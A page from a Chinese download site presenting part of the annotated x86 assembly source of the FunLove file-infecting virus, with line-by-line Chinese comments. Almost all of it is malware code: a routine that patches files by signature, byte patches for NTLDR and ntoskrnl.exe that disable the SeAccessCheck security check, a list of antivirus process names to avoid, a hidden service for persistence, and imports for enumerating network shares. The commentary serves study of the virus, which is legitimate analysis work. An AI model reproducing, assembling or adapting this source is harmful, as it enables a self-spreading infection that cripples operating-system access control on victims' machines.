⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 funlove_vir.txt

📁 FunLove完整病毒分析.txt 论坛潜规则
💻 TXT
📖 第 1 页 / 共 4 页
字号:
 p_PatchAddr : DWORD, \得到补丁地址;
 p_PatchSize : DWORD 得到循环的次数,这里是要修改的指令的字符串的长度;
 
 LOCAL p_FileHandle : DWORD, \定义本地变量,存放文件句柄;
 p_FileSize : DWORD, \定义本地变量,存放文件大小;
 p_MapHandle : DWORD \定义本地变量,存放内存映射文件句柄;
 
 
 USES esi,edi;保存esi,edi,本过程结束后自动恢复;
 
 
 push p_Filename ----| 
 push 03 |
 call OpenFile ------|判断文件是否存在;
 
 cmp eax,-1 ---------|
 jz short PA_Exit----|不存在就退出;
 
 mov p_FileHandle,eax;保存句柄;
 
 push 00-------------|
 push eax |
 call GetFileSize----|得到文件大小;
 
 mov p_FileSize,eax;保存文件大小;
 
 push p_FileHandle---|
 push eax |
 call MapFile--------|建立内存映射文件; 
 
 or eax,eax
 jz short PA_CloseFile;失败,则跳转关闭文件;
 
 mov p_MapHandle,eax;保存内存映射文件句柄;
 
 push eax -------|
 call ViewMap----|映射内存对象;
 
 or eax,eax ------------|
 jz short PA_CloseMap---|失败则关闭内存映射文件;
 
 mov edx,eax;成功,保存句柄;
 
 mov edi,eax;保存文件在内存中的起地址;
 mov esi,p_PatchAddr;把补丁字符串的首地址给esi,为下面的比较做准备;
 mov ecx,p_FileSize;得到文件大下,为下面的循环比较做准备;
 
 PA_00:
 
 push ecx;压栈保存循环次数;
 push esi;压栈保存补丁字符串地址;
 push edi;文件在内存中的地址入栈;
 mov ecx,p_PatchSize;补丁大小入栈,这里是内层循环的次数;
 repz cmpsb;比较,5个一组;
 pop edi
 pop esi
 pop ecx
 jz short PA_01;找到了,则修改;
 inc edi;没找到,edi加1,在内存中后移一位
 loop PA_00;继续寻找,ecx减1;
 
 jmp short PA_Unmap;如果循环结束都没有找到,就去pa_unmap,做清理工作;
 
 PA_01:
 
 mov ecx,p_PatchSize----------|
 add esi,ecx |
 repz movsb -----------------|打补丁了 
 
 PA_Unmap:
 
 push edx ;开始保存的内存映射文件的句柄可以起作用了;
 call UnmapViewOfFile;在当前应用程序的内存地址空间解除映射
 PA_CloseMap:
 
 push p_MapHandle;关闭一个内核对象(除非该对象的所有引用都已关闭否则对象不
 call CloseHandle;会被实际删除;
 
 PA_CloseFile:
 
 push p_FileHandle;关闭文件对象;
 call CloseHandle;
 
 PA_Exit:
 ret
 
 
 PatchFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; --------------------------- Minor Routines -------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 GetVS:
 
 call $ + 5
 pop ebx
 sub ebx,offset GetVS + 5 - VStart
 ret
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 RelocKernel32 PROC PASCAL NEAR
 
 
 ARG r_Kernel32 : DWORD ;把开始压入的值,弹出给变量,即是,kernel32的返回地址;
 
 
 push r_Kernel32 ;压栈,用堆栈传递参数给下面的调用;
 call Whereis_GPA ;定位getprocaddress的地址,找到了它后面的其他的api就
 办了;
 or eax,eax ; eax里面是whereis_gpa执行后的值,当前值为kernel32的基地址;
 jz short RK_00;判断是否成功,失败退出
 
 push eax ;压栈eax,以堆栈传值给先面的dll_relocate过程;
 lea esi,[Kernel32_Functions @] ;把api的名字字符串的首 地址传入esi,为下面的查找api地址做准备;
 push esi 
 call DLL_Relocate ;开始查找api,获取api的地址;
 RK_00:
 ret ;返回;
 
 
 RelocKernel32 ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 RelocAdvapi32 PROC NEAR
 
 
 lea eax,[ADVAPI32_Name @];取得高级api的名字字符串的地址;
 push eax ;压栈
 call LoadLibraryA;通过loadlibrary加载advapi32.dll
 or eax,eax------|
 jz short RA_00--|失败就退出;
 
 push eax-----------------------------|这里的eax是加载后的dll的地址,搜索api |要用的到
 lea esi,[ADVAPI32_Functions @] |
 push esi | 
 call DLL_Relocate--------------------|成功就开始搜索advapi32里面的高级api的 地址
 
 RA_00:
 ret
 
 
 RelocAdvapi32 ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 OpenFile PROC PASCAL NEAR
 
 
 ARG o_Filename : DWORD, \从堆栈得到文件名;
 o_OpenMode : DWORD 从堆栈的到打开方式;
 
 push 20 --------|
 push o_Filename |
 call SetFileAttributesA-----|设置文件的属性;
 
 push 00---------------------|
 push 80 | 
 push o_OpenMode |
 push 00 | 
 push 00 | 
 push 0C0000000 | 
 push o_Filename |
 call CreateFileA------------|打开一个文件,以读写的方式;
 ret
 
 
 OpenFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 MapFile PROC PASCAL NEAR
 
 
 ARG m_FileHandle : DWORD, \从堆栈取得文件句柄;
 m_FileSize : DWORD 从堆栈取得文件的大小;
 
 
 push 00-----------------|
 push m_FileSize |
 push 00 |
 push 04 |
 push 00 |
 push m_FileHandle |
 call CreateFileMappingA-|建立内存映射文件,以传递的参数的大小建立;
 ret
 
 
 MapFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 ViewMap PROC PASCAL NEAR
 
 
 ARG v_MapHandle : DWORD ;得到内存映射文件句柄;
 
 
 push 00--------------|
 push 00 |
 push 00 |
 push 02 |
 push v_MapHandle | 
 call MapViewOfFile---|将文件映射对象映射到本程序的地址空间;
 ret
 
 
 ViewMap ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 Wait_A_Little PROC NEAR
 
 
 call GetTickCount---|
 sub eax,[Tick @]---|取得当前的时间在和开始保存的比较看是否超过4秒了 
 
 cmp eax,4*1000d----| 
 jc short WAL_00---|没有就继续感染文件;
 
 push 16d*1000d-------| 
 call Sleep-----------|超过了4秒了,就可是睡眠16秒;
 
 call GetTickCount----|
 mov [Tick @],eax----|把睡眠后的时间当作下次比较的标准保存在tick中
 WAL_00:
 ret
 
 
 Wait_A_Little ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 GetRand PROC NEAR
 
 push ecx
 push edx
 mov eax,[Rand @]
 xor edx,edx
 mov ecx,7FFFFFFF
 mul ecx
 inc eax
 mov ecx,0FFFFFFFBh
 div ecx
 mov eax,edx
 mov [Rand @],eax
 pop edx
 pop ecx
 ret
 
 
 GetRand ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; -------------------------- INITIALIZED DATA ------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 HostCode db 8 dup (?)
 
 
 GPA_Sigs:
 
 W9x db 0C2,04,00,57,6A,22,2Bh,0D2
 NT4 db 0C2,04,00,55,8Bh,4C,24,0C
 W2K db 00F,00,00,55,8Bh,0ECh,51,51
 
 
 NTLDR db ‘NTLDR‘,0
 
 NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
 db 3Bh,46,58,0EBh,07 ; patch
 
 W2K_NTLDR db 3Bh,47,58,74,07
 db 3Bh,47,58,0EBh,07
 
 
 NTOSKRNL db ‘WINNT\System32\ntoskrnl.exe‘,0
 
 NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ; SeAccessCheck
 db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00
 
 W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28
 db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28
 
 SkipNames:
 
 dd 139D7300h ; aler
 dd 0F977200h ; amon
 dd 118E7E1Eh ; _avp
 dd 52886900h ; avp3
 dd 0C886900h ; avpm
 dd 13883207h ; f-pr
 dd 168E7E0Fh ; navw
 dd 0F997C12h ; scan
 dd 128B7212h ; smss
 dd 04907B05h ; ddhe
 dd 00946F05h ; dpla
 dd 00946F0Ch ; mpla
 
 
 Process db ‘flcss.exe‘,0
 Service db ‘FLC‘,0
 
 ; Minimal Import Section
 
 VImports:
 dd offset Kernel32_Pointers + I
 dd -1,-1
 dd offset Kernel32_Name + I
 dd offset Kernel32_Relocated + I
 db 14 dup (0)
 
 Kernel32_Pointers dd offset Kernel32_Beep + I, 0
 Kernel32_Relocated dd offset Kernel32_Beep + I, 0
 Kernel32_Beep db ?,?,‘Beep‘,0
 
 
 ; Virus Imports
 
 Kernel32_Name db ‘KERNEL32.dll‘,0
 Kernel32_Functions:
 
 CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0
 CreateFileA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileA‘,0
 CreateFileMappingA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileMappingA‘,0
 CreateProcessA: db 0B8,?,?,?,?,0FF,0E0,‘CreateProcessA‘,0
 CreateThread: db 0B8,?,?,?,?,0FF,0E0,‘CreateThread‘,0
 FindFirstFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindFirstFileA‘,0
 FindNextFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindNextFileA‘,0
 FindClose: db 0B8,?,?,?,?,0FF,0E0,‘FindClose‘,0
 GetCurrentProcessId: db 0B8,?,?,?,?,0FF,0E0,‘GetCurrentProcessId‘,0
 GetDriveTypeA: db 0B8,?,?,?,?,0FF,0E0,‘GetDriveTypeA‘,0
 GetFileSize: db 0B8,?,?,?,?,0FF,0E0,‘GetFileSize‘,0
 GetProcAddress: db 0B8,?,?,?,?,0FF,0E0,‘GetProcAddress‘,0
 GetTickCount: db 0B8,?,?,?,?,0FF,0E0,‘GetTickCount‘,0
 GetSystemDirectoryA: db 0B8,?,?,?,?,0FF,0E0,‘GetSystemDirectoryA‘,0
 LoadLibraryA: db 0B8,?,?,?,?,0FF,0E0,‘LoadLibraryA‘,0
 MapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘MapViewOfFile‘,0
 ReadFile: db 0B8,?,?,?,?,0FF,0E0,‘ReadFile‘,0
 SetFileAttributesA: db 0B8,?,?,?,?,0FF,0E0,‘SetFileAttributesA‘,0
 SetFileTime: db 0B8,?,?,?,?,0FF,0E0,‘SetFileTime‘,0
 Sleep: db 0B8,?,?,?,?,0FF,0E0,‘Sleep‘,0
 UnmapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘UnmapViewOfFile‘,0
 VirtualAlloc: db 0B8,?,?,?,?,0FF,0E0,‘VirtualAlloc‘,0
 VirtualFree: db 0B8,?,?,?,?,0FF,0E0,‘VirtualFree‘,0
 WriteFile: db 0B8,?,?,?,?,0FF,0E0,‘WriteFile‘,0
 
 ; this function does only exist under Win9x
 
 db 0
 RegisterServiceProcess: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceProcess‘,0
 
 USER32_Name db ‘USER32.dll‘,0
 RegisterClassA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterClassA‘,0
 
 ADVAPI32_Name db ‘ADVAPI32.dll‘,0
 ADVAPI32_Functions:
 
 OpenSCManagerA: db 0B8,?,?,?,?,0FF,0E0,‘OpenSCManagerA‘,0
 OpenServiceA: db 0B8,?,?,?,?,0FF,0E0,‘OpenServiceA‘,0
 CreateServiceA: db 0B8,?,?,?,?,0FF,0E0,‘CreateServiceA‘,0
 StartServiceA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceA‘,0
 StartServiceCtrlDispatcherA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceCtrlDispatcherA‘,0
 RegisterServiceCtrlHandlerA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceCtrlHandlerA‘,0
 SetServiceStatus: db 0B8,?,?,?,?,0FF,0E0,‘SetServiceStatus‘,0
 
 MPR_Name db ‘MPR.dll‘,0
 
 MPR_Functions:
 
 WNetOpenEnumA: db 0B8,?,?,?,?,0FF,0E0,‘WNetOpenEnumA‘,0
 WNetEnumResourceA: db 0B8,?,?,?,?,0FF,0E0,‘WNetEnumResourceA‘,0
 WNetCloseEnum: db 0B8,?,?,?,?,0FF,0E0,‘WNetCloseEnum‘,0
 
 VEnd:
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------- UNINITIALIZED DATA ------------------------ ;
 ; ------------------------------------------------------------------------- ;
 
 
 Kernel32_Base dd ?
 Rand dd ?
 Tick dd ?
 OS db ?
 
 
 ALIGN 100
 
 
 Buffer1 db 200 dup (0) ; Current Directory
 Buffer2 db 200 dup (?) ; Search Buffer
 Buffer3 db 2000 dup (?) ; Read Buffer
 
 
 VSize equ offset VEnd - VStart
 
 Phys_VSize equ 1000
 Virt_VSize equ 4000
 
 
 CODE ENDS
 
 END main
 
 
 
 
 原作者: Jackhy/CVC.GB 
 
  

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -